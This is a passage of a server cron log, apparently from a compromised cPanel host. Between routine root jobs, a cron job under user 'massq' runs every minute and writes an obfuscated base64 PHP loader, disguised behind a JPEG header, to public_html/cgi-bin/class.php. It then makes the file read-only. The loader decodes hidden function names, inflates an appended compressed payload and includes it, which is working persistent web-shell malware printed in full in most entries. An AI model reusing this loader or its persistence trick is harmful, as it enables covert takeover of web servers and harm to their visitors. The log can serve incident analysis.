"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:50:01 server CROND[19879]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 01:51:01 server CROND[20009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:52:01 server CROND[20076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:53:01 server CROND[20145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:54:01 server CROND[20314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:55:01 server CROND[20399]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 01:55:01 server CROND[20400]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 01:55:01 server CROND[20401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:56:01 server CROND[20539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:57:01 server CROND[20615]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 01:57:01 server CROND[20616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:58:01 server CROND[20751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:59:01 server CROND[20821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:00:01 server CROND[20990]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 02:00:01 server CROND[20993]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 02:00:01 server CROND[20991]: (root) CMD (/usr/local/cpanel/bin/backup)
Apr  8 02:00:01 server CROND[20995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:00:01 server CROND[20994]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 02:00:01 server CROND[20996]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  8 02:01:01 server CROND[21125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:01:01 server CROND[21137]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 02:01:01 server run-parts(/etc/cron.hourly)[21137]: starting 0anacron
Apr  8 02:01:01 server anacron[21150]: Anacron started on 2025-04-08
Apr  8 02:01:01 server anacron[21150]: Normal exit (0 jobs run)
Apr  8 02:01:01 server run-parts(/etc/cron.hourly)[21152]: finished 0anacron
Apr  8 02:02:01 server CROND[21220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:03:01 server CROND[21282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OC